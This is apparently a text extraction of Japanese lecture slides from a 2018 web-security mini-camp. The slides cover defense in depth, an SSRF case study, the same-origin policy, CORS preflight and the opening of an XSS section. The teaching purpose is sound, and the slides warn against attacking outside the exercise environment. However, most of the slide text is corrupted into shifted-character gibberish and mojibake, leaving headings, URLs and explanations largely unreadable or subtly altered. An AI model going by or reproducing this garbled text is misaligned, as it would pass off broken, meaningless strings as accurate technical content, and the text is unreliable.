セキュリティ・ミニキャンプ in 岡山 2018 で使用されたコンテンツです。 誤りがあればぜひツッコミをください! Twitter: @lmt_swallow, en: @y0n3uchy
演習の殆どはローカル向けのものだったので, 現在はアクセスできません e.g. ホストが websec.example になっているもの
ただし XSS Challenge に関しては, 以下の URL からお試しいただけます: https://xss.shift-js.info
W5BLBTIJ:POFVDIJ !MNU@TXBMMPX !ZOVDIZ IUUQTTIJGUKTJOGP8FCηΩϡϦςΟೖ ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
View Slide
© 2018 shift-js.info All Rights Reserved.Takashi Yoneuchi‣ !MNU@TXBMMPX !ZOVDIZ‣ 6OEFSHSBEVBUFBU6OJWPG5PLZP‣ 4UB⒎BU4&$$0/#FHJOOFST‣ 4UB⒎BU4FDVSJUZ$BNQ‣ 4FFIUUQTTIJGUKTJOGP
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ0VUMJOF‣ %FGFOTFJO%FQUIଟޚͱ͍͏ߟ͑ํ‣ ଟޚͱݺΕΔߟ͑ํʹֶ͍ͭͯͼ·͢‣ #PVOEBSZ8FCϒϥβதͷڥք‣ 8FCϒϥβʹ͓͚Δڥքͷྫͱͯ͠0SJHJOΛֶͼ 0SJHJOʹؔ࿈ͨ͠ޚػߏʹ͍ͭͯͷϋϯζΦϯΛߦ͍·͢‣ $SPTT4JUF4DSJQUJOH944ͷݪཧ ࣮ફ ରࡦ‣ 944Λڥքͷ؍͔Βཧ͠ ࣮ફԋशΛߦ͍·͢‣ 'VUVSF8FCʹ͓͚ΔηΩϡϦςΟڥքͷ՝ͱະདྷ‣ ࠷ۙͷ8FCʹ͓͚ΔηΩϡϦςΟͷΛͬ͘͟Γཧ͠·͢3
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ(PBMT ຊߨٛͰࢦ͢ͱ͜Ζ‣ ֶͼ͍ͨ͜ͱ‣ 8FC4FDVSJUZCZ%FTJHOઃܭ্ͷෆඋΛݟൈ͘ྗ‣ جૅతͳ944ʹؔ͢Δࣝ‣ ࠷ۙͷ8FCηΩϡϦςΟ ͱΓΘ͚ϒϥβͷηΩϡϦςΟػߏʹؔ͢Δ‣ ߨٛऴྃޙ͍͚ͯͨͩͨ͠Βخ͍͜͠ͱ‣ 8FCηΩϡϦςΟͷΛͱҰॹʹ͍͔͚ͯ΄͍͠‣ 8FCηΩϡϦςΟ͕͖ͱ͍͏ֶੜ͕ݮͬͨΑ͏ͳؾ͕͍ͯ͠Δ‣ 8FCηΩϡϦςΟΛ͖ʹͳͬͯ͘ΕͨͳΒ ͱͯخ͍͠4
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ$"65*0/ ҙࣄ߲‣ ྙཧ؍Λେʹ͍ͯͩ͘͠͞‣ ࠓճԋशͰߦ͏8FCαΠτͷ߈ܸɾଞऀͷ߈ܸ ඞͣ͜ͷڥͷதͰͷΈʹཹΊ ֎෦ѼʹߦΘͳ͍Ͱ͍ͩ͘͞ ‣ ϩʔΧϧͰͷ࣮ݧʹͱͲ·Βͣ ֎෦ʹ߈ܸΛߦ͏ͷ ๏ʹ৮͑͠·͢5
%FGFOTFJO%FQUIଟޚͱ͍͏ߟ͑ํ
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δଟޚ %FGFOTFJO%FQUI ෳͷΛॏͶΔ͜ͱͰͨΒ͞ΕΔͷ7l%FGFOTFJOEFQUIJTUIFDPODFQUPGQSPUFDUJOHBDPNQVUFSOFUXPSLXJUIBTFSJFTPGEFGFOTJWFNFDIBOJTNTTVDIUIBUJGPOFNFDIBOJTNGBJMT BOPUIFSXJMMBMSFBEZCFJOQMBDFUPUIXBSUBOBUUBDL 4"/4*OTUJUVUF 4"/4*OTUJUVUF*OGP4FD3FBEJOH3PPN IUUQTXXXTBOTPSHSFBEJOHSPPNXIJUFQBQFSTCBTJDTEFGFOTFJOEFQUI
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δۙͳڥք Ұൠࣾձʹ͓͚Δྫ‣ ཧతͳڥք͕͋Ε ใͷΓऔΓଟগ੍ݶͰ͖Δ‣ ݤ͕ͳ͚ΕೖΕͳ͍‣ ೖΔ͜ͱ͑͢͞Εग़ΒΕΔ͜ͱ͕ଟ͍‣ ෦୯ҐͰೖୀࣨݖݶཧେ ͨΓલ‣ ήετ༻ͷΧʔυͰࣾࣨʹೖΕ͍͚ͯͳ͍8
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δཧతڥք ػثࣗମ͕ͭͳ͕͍ͬͯͳ͍‣ ͦͦػثࣗମ͕ తʹؒతʹͭͳ͕͍ͬͯͳ͍ͷͰ͋Ε ͦͷؒΓͱΓͰ͖ͳ͍9
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δཧతڥք ωοτϫʔΫͷྫ‣ ཧతʹͭͳ͕͍ͬͯͯ ཧతʹ ਖ਼͘͠Γ͞Ε͍ͯΕ ͦͷؒΓͱΓͰ͖ͳ͍ ྫ7-"/10
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δཧతڥք 04෦ͷྫ‣ 04ʹύʔϛογϣϯཧͷΈ ͦͷଞͷཧతڥքFH4&-JOVY͕ଘࡏ͍ͯ͠Δ11
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢ΔωοτϫʔΫ֎ɾͷڥք *%4 *14 %.;‣ ෦ FHࣾωοτϫʔΫͱΠϯλʔωοτͷؒʹڥքΛઃ͚Δ‣ %.;Ͱެ։ྖҬΛΓ͚ͨΓ ‣ *%4 *OUSVTJPO%FUFDUJPO4ZTUFNͰҟৗ௨৴Λଊ͑ͨΓ ‣ *14 *OUSVTJPO1SFWFOUJPO4ZTUFNͰҟৗ௨৴ΛϒϩοΫͨ͠Γʜ12
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ߈ܸऀͷઢ͔Β ٛͷଟޚΛͲ͏ಥഁ͢Δ͔‣ ຊ࣭తͳใʹ౸ୡͰ͖ͳ͍߹͕ଟ͍‣ ͋Δ੬ऑͳՕॴΛىʹ ‣ ྫ੬ऑͳϢʔβʔͷೝূใΛىʹ͢Δ‣ ྫ ཧతPSιϑτΣΞతʹ੬ऑͳΛىʹ͢Δ‣ ྫωοτϫʔΫ֎෦ʹެ։͞Ε͍ͯΔՕॴΛىʹ͢Δ‣ গͣͭ͠ΞΫηεͰ͖ΔൣғΛ͛Δ‣ ྫϢʔβʔͷ׆ಈϩάΛ؍ͯ͠ ͦͷɾೝূใ͔ΒΞΫηεͰ͖ΔใΛ୳ࡧ -"/ͷଞͷ੬ऑͳΛ୳ࡧ‣ ྫ443' 4FSWFS4JEF3FRVFTU'PSHFSZ 42-*OKFDUJPOͳͲͷ੬ऑੑΛͬͯ ωοτϫʔΫ্γεςϜΛ୳ࡧ13
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δࣄྫ(JU)VC 3FQPSUCZ0SBOHF5TBJ141SPDPUPM4NVHHMJOH8FCIPPLૹ৴ػೳҙ63-ͷϦΫΤετൃߦϩʔΧϧͷผαʔϏεΛൃݟ‣ )*5$0/ͷ0SBOHF5TBJ͞Μ͕ൃݟͨ͠(JU)VCͰͷ3$& 4FFIUUQTXXXCMBDLIBUDPNEPDTVTUIVSTEBZVT5TBJ"/FX&SB0G443'&YQMPJUJOH63-1BSTFS*O5SFOEJOH1SPHSBNNJOH-BOHVBHFTQEG‣ 8FCIPPLͷૹ৴ઌʹ IUUQ ͱՁ͕ઃఆͰ͖ͨ‣ MPDBMIPTUΛ͜ΕΛ༻͍ͯ୳ࡧͰ͖Δ ૄ௨νΣοΫ͕Մೳ‣ ݁Ռ൪Ͱ(SBQIJUF͕ಈ͍͍ͯΔͷΛൃݟ
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δࣄྫ(JU)VC 3FQPSUCZ0SBOHF5TBJ15ϩʔΧϧͷผαʔϏεΛൃݟͦ͜Ͱ·ͨҙϦΫΤετൃߦNFNDBDIFEʹҙσʔλૠೖ.BSTIBMͱΈ߹Θͤͯ3$&‣ MPDBMIPTUͷ(SBQIJUFʹରͯ͠$3-'*OKFDUJPOΛࢼΈ ΑΓࣗ༝ʹϦΫΤετΛૹ৴͢Δ͜ͱ͕Մೳʹͳͬͨ‣ ݁Ռ8FCIPPLͷ݁Ռͱͯ͠ҙΛ%#ʹྲྀ͠ࠐΊͨ‣ ͜ΕΛ.BSTIBM σγϦΞϥΠζػߏͱΈ߹Θͤ 3$&‣ ৄ͘͠0SBOHF͞ΜͷࢿྉΛࢀরͷ͜ͱ
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δࣄྫ࢈૯ݚ‣ ࢈૯ݚͷใγεςϜʹର͢Δෆਖ਼ͳΞΫηεʹؔ͢ΔใࠂΑΓҾ༻ IUUQTXXXBJTUHPKQQEGBJTU@KUPQJDTUPUPBJTUQEG16
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ࣍ʹֶͿ͖͜ͱ Φεεϝͷॻ੶ɾɾจॻ‣ ࣍ͷࢿྉதͷ(JU)VCʹ͓͚ΔࣄྫΛݩʹ ͲͷΑ͏ͳޚϨΠϠ͕͋Ε ͋Δ͍ͲͷΑ͏ͳߏͰ͋Ε҆શͰ͔͋ͬͨΛߟ͑ͯΈ·͠ΐ͏‣ "/FX&SBPG443'&YQMPJUJOH63-1BSTFSJO5SFOEJOH1SPHSBNNJOH-BOHVBHFTCZ0SBOHF5TBJ‣ IUUQTXXXCMBDLIBUDPNEPDTVTUIVSTEBZVT5TBJ"/FX&SB0G443'&YQMPJUJOH63-1BSTFS*O5SFOEJOH1SPHSBNNJOH-BOHVBHFTQEG‣ 443'Λىʹ%FGFOTFJO%FQUIΛ߈ུ͍ͯ͘͠17
#PVOEBSZ8FCϒϥβதͷڥք
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ͠ͷ ϒϥβͷதʹڥք͕ͳ͔ͬͨΒ‣ ͠ϒϥβʹͳΜͷ੍ͳ͚Ε ߈ܸऀࣗͷ᠘ϖʔδʹ༠ಋ͢Δ͚ͩͰ ใ ޙड़Λൈ͖ग़ͤΔ‣ FWJMDPN͔ΒFYBNQMFDPNͷϖʔδ༰ΛಡΉ‣ FWJMDPN͔ΒFYBNQMFDPNͷMPDBM4UPSBHFΛಡΉ19http://evil.comޱ࠲൪߸, ߴ, ॅॴ, ...ࣗ༝ͳใͷΓͱΓhttp://example.com
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δຊདྷ͋Δ͖࢟ ϒϥβͷதͷڥքͲ͏Ҿ͔ΕΔ͖͔20‣ $SPTT0SJHJOͰͷ੍͕ͳ͚Ε ߈ܸऀࣗͷ᠘ϖʔδʹ༠ಋ͢Δ͚ͩͰใΛൈ͚Δ‣ FWJMDPN͔ΒFYBNQMFDPNͷϖʔδ༰ΛಡΉ‣ FWJMDPN͔ΒFYBNQMFDPNͷMPDBM4UPSBHFΛಡΉevil.comޱ࠲൪߸, ߴ, ॅॴ, ...example.com͜͜ͷڥքΛҾ͖͍ͨ!͜͜ʹڥք͕͋Δ͖ࣗ༝ͳใͷΓͱΓ
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢ΔԿΛͬͯڥքΛҾ͔͘ ϒϥβͷதͷڥքͲ͏Ҿ͔ΕΔ͖͔21‣ ߟ͑ͯΈ·͠ΐ͏‣ ڥքͲ͏Ҿ͖͘ ‣ ཧ۶తʹใ୯Ґ͝ͱʹҾ͖͍ͨ‣ ͨͩݫ͘͠Ҿ͖͗͢ΔͱෆศʹͳΓ͗͢Δ‣ Կ͕͑ͦ͏͔ ‣ υϝΠϯ໊ ͦͷ͏ͪͲ͜Λ͏͔‣ ໊લղܾͨ͠ޙͷ*1‣ ϙʔτ‣ εΩʔϜ‣ FUDݕࡧΤϯδϯWeb ϝʔϥʔ จॻΤσΟλ
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ0SJHJO3'$5IF8FC0SJHJO$PODFQU‣ ͋Δ63*ʹ͍ͭͯ ࣍ͷUVQMFΛ0SJHJOͱఆٛ͢ΔɻVSJTDIFNF VSJIPTU VSJQPSU‣ VSJTDIFNFεΩʔϜ FHIUUQ IUUQT ‣ VSJIPTUϗετ FHFYBNQMFDPN ‣ VSJQPSUϙʔτ FH ‣ লུ࣌VSJTDIFNFʹରԠͨ͠σϑΥϧτϙʔτ͕ࢦఆ͞ΕΔɻ22IUUQFYBNQMFDPNTPNFQBUI
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ4BNF0SJHJO1PMJDZ 0SJHJOΛݩʹͯ͠कΔ‣ 4BNF0SJHJO1PMJDZͱ ͋Δ0SJHJOΛ࣋ͭϖʔδɾεΫϦϓτͳͲ͔ΒΞΫηεՄೳͳϦιʔεΛ ࣍ͷΑ͏ʹ੍ݶ͢Δ੍‣ ಉ͡0SJHJO 4BNF0SJHJOΛ࣋ͭϦιʔεʹΞΫηεͰ͖Δ‣ ҟͳΔ0SJHJO $SPTT0SJHJOΛ࣋ͭϦιʔεʹΞΫηεͰ͖ͳ͍‣ ϦιʔεΛ0SJHJO͝ͱʹִ͢Δ 0SJHJO͕ڥք‣ ڥքΛ·͙ͨ $SPTT0SJHJOͳϦιʔεࢀরΛߦ͏ͨΊʹ ΞΫηε͞ΕΔଆͷϦιʔε͔Βͷ໌ࣔతͳڐՄ͕ඞཁ $034"QQFOEJYࢀর23
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ401ʹΑΔ੍ ࣜਤͰ֬ೝ͢Δ24IUUQBFYBNQMFDPNQOH KTPOKTPOIUUQCFYBNQMFDPN{...}{...}4BNF0SJHJOͰͷ௨৴ جຊతʹSFTQPOTFͷಡΈग़͠ʹ੍͕ͳ͍
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ401ʹΑΔ੍ ࣜਤͰ֬ೝ͢Δ25IUUQBFYBNQMFDPNQOH KTPOKTPOIUUQCFYBNQMFDPN{...}{...}$SPTT0SJHJOͰͷ௨৴ ී௨ͷ ޙड़ϦΫΤετՄೳϨεϙϯε௨ৗಡΊͳ͍
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ401͕͘ΕΔͷ4BNF0SJHJO1PMJDZʹΑΓಘΒΕΔ݁Ռ‣ 4BNF0SJHJO1PMJDZʹΑΓ ౪Έग़͍ͨ͠σʔλͷ͋Δ0SJHJOͷ֎͔Β ݪଇͦΕʹΞΫηεͰ͖ͳ͍26Origin Aதʹ ৮ΕΒΕͳ͍Origin B
2VFTUJPO 4BNF0SJHJO $SPTT0SJHJO
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ2VFTUJPO4BNF0SJHJO࣍ͷ63*͔ͨͪΒ4BNF0SJHJOͳΛબ΅͏‣ IUUQTXXXFYBNQMFDPN‣ IUUQXXXFYBNQMFDPN‣ IUUQUFTUFYBNQMFDPN‣ IUUQTXXXFYBNQMFDPNJOEFYIUNM‣ IUUQTXXXFYBNQMFDPN‣ IUUQTUFTUFYBNQMFDPN28
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ2VFTUJPO4BNF0SJHJO࣍ͷ63*͔ͨͪΒ4BNF0SJHJOͳΛબ΅͏‣ IUUQTXXXFYBNQMFDPN‣ IUUQXXXFYBNQMFDPN‣ IUUQUFTUFYBNQMFDPN‣ IUUQTXXXFYBNQMFDPNJOEFYIUNM‣ IUUQTXXXFYBNQMFDPN‣ IUUQTUFTUFYBNQMFDPN29
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ/PUFTPO4BNF0SJHJO͍͔ͭ͘ͷҙ‣ ͍͔ͭ͘ҙΛཁ͢ΔεΩʔϜ͕͋Δ‣ FHEBUB pMF BCPVU ʜ‣ ੍ͷൣғͳͲ ͖ͬΓ͠ͳ͍‣ 0SJHJOΛܧঝͯ͠UVQMFͳ0SJHJOΛ࣋ͭͷ͔‣ ͋Δ͍VOJRVFJEFOUJpFS TFF3'$Λ࣋ͭͷ͔‣ ҎԼͷจॻΛಡΉ͜ͱΛקΊ·͢‣ ॏཁʂ·ͣʮΦϦδϯʯΛཧղ͠Α͏ IUUQXXXBUNBSLJUDPKQBJUBSUJDMFTOFXT@IUNM‣ 3'$5IF8FC0SJHJO$PODFQU IUUQTUPPMTJFUGPSHIUNMSGD30
&YFSDJTF 0SJHJOؔ࿈ͷηΩϡϦςΟ ػߏΛ࣮ײ͠Α͏
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ&YFSDJTF401 4BNF0SJHJO1PMJDZʹΑΔ੍ݶΛମײ͠Α͏32࣍ʹΞΫηεͯ͠ମײ͠Α͏ ԋशωοτϫʔΫ্ͰIUUQXFCTFDFYBNQMFTPQ‣ ·ͣ401ΛΦϑʹͨ͠ঢ়ଶͰಈ͔ͯ͠Έ·͠ΐ͏‣ EJTBCMFXFCTFDVSJUZVTFSEBUBEJSΛΦϓγϣϯͱ͚ͯىಈ͢Δͱ401͕ΦϑʹͳΔ‣ .BDPQFOOB(PPHMFa$ISPNFBSHTEJTBCMFXFCTFDVSJUZVTFSEBUBEJS‣ 8JOEPXT8JOEPXT3ˠDISPNFFYFEJTBCMFXFCTFDVSJUZVTFSEBUBEJS‣ ͦͷޙ 401ΛΦϯʹͨ͠ঢ়ଶͰಈ͔ͯ͠Έ·͠ΐ͏
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ%FWFMPQFS5PPMT ศར‣ ࠓ(PPHMF$ISPNF ͋Δ͍$ISPNJVNʹଐͷ%FWFMPQFS5PPMTΛ͏ͱศརͳ͜ͱ͕ଟ͍‣ ϖʔδ্ͰӈΫϦοΫˠʮௐࠪʯ PS*OTQFDUΛΫϦοΫͯ͠ىಈ‣ %FWFMPQFS5PPMT࣍ͷΑ͏ͳγϣʔτΧοτΩʔͰىಈ͢Δ͜ͱͰ͖Δ‣ 8JOEPXTͷ߹' ͋Δ͍$USM4IJGU*Ͱىಈ .BDͷ߹$NE0QU*Ͱىಈ33
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ 348JOEPXT' $USM4IJGU* .BD$NE0QU*Ͱىಈ
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ 35/FUXPSLλϒͰ)551௨৴ͷ༷ࢠ͕͚Δ
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢ΔڍಈΛ֬ೝ͢Δ 401͕EJTBCMFEͳͱ͖‣ ͋Δ0SJHJO IUUQXFCTFDFYBNQMF͔Βผͷ0SJHJO IUUQXFCTFDFYBNQMFͷίϯςϯπΛಡΊ͍ͯΔ‣ ྫ͑IUUQFWJMDPN͔ΒIUUQHPPHMFDPNͷίϯςϯπΛಡΊΔ ͱ͍͏͜ͱʜ36
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢ΔڍಈΛ֬ೝ͢Δ 401͕FOBCMFEͳͱ͖‣ ͱҧͬͯBMFSU͕ग़ͳ͍‣ %FWFMPQFS5PPMTͷ$POTPMFλϒΛ։͘ͱΤϥʔ͕ग़͍ͯΔ37
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ$034 $SPTT0SJHJO3FTPVSDF4IBSJOH‣ $SPTT0SJHJOͳϦιʔεࢀরΛڐՄ͢ΔͨΊͷΈ‣ 401ʹΑΓ جຊతʹͦͷΑ͏ͳϦιʔεࢀরϒϩοΫ͞Ε͍ͯΔ‣ ओʹ0SJHJOϔομ "DDFTT$POUSPM"MMPX0SJHJOϔομ͕ओ‣ Ұ෦ͷϦΫΤετͰ࣍ͷΑ͏ͳϔομ͕ొ͢Δ‣ "DDFTT$POUSPM3FRVFTU.FUIPE‣ "DDFTT$POUSPM3FRVFTU)FBEFST‣ "DDFTT$POUSPM"MMPX0SJHJO‣ "DDFTT$POUSPM"MMPX.FUIPET‣ "DDFTT$POUSPM"MMPX)FBEFST‣ "DDFTT$POUSPM&YQPTF)FBEFST‣ "DDFTT$POUSPM.BY"HF38
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δঢ়گઃఆ CFYBNQMFDPN͕IUUQBFYBNQMFDPN͔ΒͷಡΈग़͠ΛڐՄ͍ͨ͠ͱ͖39IUUQBFYBNQMFDPNQOH KTPOKTPOIUUQCFYBNQMFDPN{...}{...}http://evil.example.com
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ୯७ͳϦΫΤετ࣌ͷڍಈ CFYBNQMFDPN͕IUUQBFYBNQMFDPN͔ΒͷಡΈग़͠ΛڐՄ͍ͨ͠ͱ͖40IUUQBFYBNQMFDPNQOH KTPOKTPOIUUQCFYBNQMFDPN{...}{...}http://evil.example.com(&5KTPO)551 0SJHJOIUUQBFYBNQMFDPN
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢ΔϨεϙϯε࣌ͷڍಈ CFYBNQMFDPN͕IUUQBFYBNQMFDPN͔ΒͷಡΈग़͠ΛڐՄ͍ͨ͠ͱ͖41IUUQBFYBNQMFDPNQOH KTPOKTPOIUUQCFYBNQMFDPN{...}{...}http://evil.example.com)5510, "DDFTT$POUSPM"MMPX0SJHJOIUUQBFYBNQMFDPN ˠϨεϙϯε͕ಡΈग़ͤΔ
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢ΔϓϦϑϥΠτϦΫΤετ 1SFqJHIU3FRVFTU42‣ ࣍ͷΑ͏ͳ௨ৗͷϦΫΤετΒ͘͠ͳ͍ϦΫΤετΛ͢Δ߹ Ѽઌ0SJHJOʹରͯ͠ ͦͷڐՄΛऔͨΊͷϦΫΤετ͕ඈͿ‣ ΧελϜϔομʔΛ͚͍ͭͨ߹‣ Α͋͘ΔͷҎ֎ͷ$POUFOU5ZQFΛૹग़͢Δ߹‣ (&5 1045 )&"%Ҏ֎ͷϦΫΤετΛ͢Δ߹‣ ͜ͷϦΫΤετΛϓϦϑϥΠτϦΫΤετͱݺͿ‣ 015*0/4ϝιουΛͬͯϦΫΤετ͕ߦΘΕΔ
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢ΔϓϦϑϥΠτϦΫΤετͷྫ 1SFqJHIU3FRVFTU43‣ 015*0/4ϝιουʹΑΔϓϦϑϥΠτϦΫΤετ͕ൃߦ͞ΕΔ‣ 93&2)&"%&3ͱ͍͏ϔομ͖ͷ1045ϦΫΤετΛൃߦͯ͠Α͍͔ͷ͍߹Θ͕ͤߦΘΕ͍ͯΔ015*0/4KTPO)551 0SJHJOIUUQBFYBNQMFDPN"DDFTT$POUSPM3FRVFTU.FUIPE1045 "DDFTT$POUSPM3FRVFTU)FBEFST93&2)&"%&3BFYBNQMFDPN CFYBNQMFDPN
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢ΔϓϦϑϥΠτϦΫΤετͷྫ3FTQPOTFUP1SFqJHIU3FRVFTU44BFYBNQMFDPN CFYBNQMFDPN)5510, "DDFTT$POUSPM"MMPX0SJHJOIUUQBFYBNQMFDPN"DDFTT$POUSPM"MMPX.FUIPE(&5 1045 "DDFTT$POUSPM"MMPX)FBEFST93&2)&"%&3"DDFTT$POUSPM&YQPTF)FBEFST93&4)&"%&3 "DDFTT$POUSPM.BY"HF‣ $SPTT0SJHJOͳࢀর͕ڐՄ͞Ε͍ͯΔ0SJHJOͱ ༻ͯ͠ྑ͍ϝιου ૹͬͯྑ͍ϔομ ΞΫηεՄೳͳϔομ ༗ޮظݶͳͲͷՃใ͕ฦͬͯ͘Δ
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢ΔϓϦϑϥΠτϦΫΤετͷྫ 3FRVFTU45BFYBNQMFDPN CFYBNQMFDPN1045KTPO)551 0SJHJOIUUQBFYBNQMFDPN93&2)&"%&340.&7"-6&‣ ϓϦϑϥΠτϦΫΤετͰॴͷϦΫΤετͷڐՄ͕͓ΓͨͷͰ ࣮ࡍʹൃߦ͞ΕΔ
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢ΔϓϦϑϥΠτϦΫΤετͷྫ 3FTQPOTF46BFYBNQMFDPN CFYBNQMFDPN)5510, "DDFTT$POUSPM"MMPX0SJHJOIUUQBFYBNQMFDPN93&4)&"%&340.&3&563/‣ $SPTT0SJHJOͰΞΫηεՄೳͳϦιʔε ϘσΟͱ93&4)&"%&3ϔομ͕ฦ٫͞ΕΔ
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δൃలෆదͳ$034ར༻ྫ ํͳ͍ͱ͖͋Δ͚ΕͲʜ47Access-Control-Allow-Origin: *Access-Control-Allow-Origin: http://example.com‣ ΞελϦεΫͰ0SJHJOΛࢦఆ͢Δͷศར͕ͩ ඇTUBUJDͳͷʹ·Ͱ͚ͯ͠·͏ͱ ηΩϡϦςΟ্ͷʹͳΓ͏Δ‣ FH$43'5PLFOݸਓใͷಡΈग़͠‣ 0SJHJOΛߜͬͯ ͜ΕΛղऍ͢Δͷ͋͘·ͰϒϥβͰ͋Δ‣ ѱҙͷ͋Δਓ͕ؒ0SJHJOΛվมͯ͠ϦΫΤετΛൃߦͰ͖Δ‣ $034ΞΫηεݖݶͷཧͰͳ͍ػີใΛஔ͔ͳ͍
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ&YFSDJTF$034 4BNF0SJHJO1PMJDZʹΑΔ੍ݶΛମײ͠Α͏49࣍ʹΞΫηεͯ͠ମײ͠Α͏ ԋशωοτϫʔΫ্ͰIUUQXFCTFDFYBNQMFTPQ‣ ϖʔδԼ෦ʹ$034ؔ࿈ͷσϞ͕͋Γ·͢‣ ઌఔ·Ͱ401Φϯͷͱ͖ʹϒϩοΫ͞Ε͍ͯͨ$SPTT0SJHJOͷ௨৴͕ $034ʹΑΓ؇͞Εͯ௨͍ͬͯΔ‣ ϓϦϑϥΠτϦΫΤετ͕ඈͿ༷ࢠ %FWFMPQFS5PPMTͷ/FUXPSLλϒ͔ΒݟͯΈ·͠ΐ͏
$SPTT4JUF4DSJQUJOH944ͷݪཧ ࣮ફ ରࡦ
© 2018 shift-js.infoWebηΩϡϦςΟೖ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δͦͷલʹηογϣϯ Α͘ݟΔ1)14&44*%ͷ͍ͬͯΔ͜ͱ‣ )551جຊతʹεςʔτϨε TUBUFMFTTͳϓϩτίϧ‣ εςʔτΛอଘ͢ΔͨΊʹΑ͘ΘΕΔͷ͕ηογϣϯ‣ ΫϥΠΞϯτଆͰ$PPLJF(&5ύϥϝʔλ ޙऀආ͚Δ͖ʹ αʔόʔଆ͔Βड͚औͬͨηογϣϯ*%ͱݺΕΔͷΛอଘ͓͖ͯ͠ ‣ αʔόʔଆͰͦͷηογϣϯ*%ʹඥ͚ͮͯ ඞཁͳσʔλΛه͓ͯ͘͠‣ ࣮༻ྫ‣ FHϢʔβʔػೳ͕͋Δ߹ ຖϦΫΤετͰ*%ύεϫʔυΛૹΓ͚ͭΔͷφϯηϯεʜϩάΠϯ࣌ʹηογϣϯʹใΛඥ͚͓ͮͯ͘‣ ηογϣϯ*%͕౪·ΕΔͱ ‣ ηογϣϯʹඥ͍ͨใΛ౪Ί͍ͯΔͷͱ ΄΅ಉ͡51
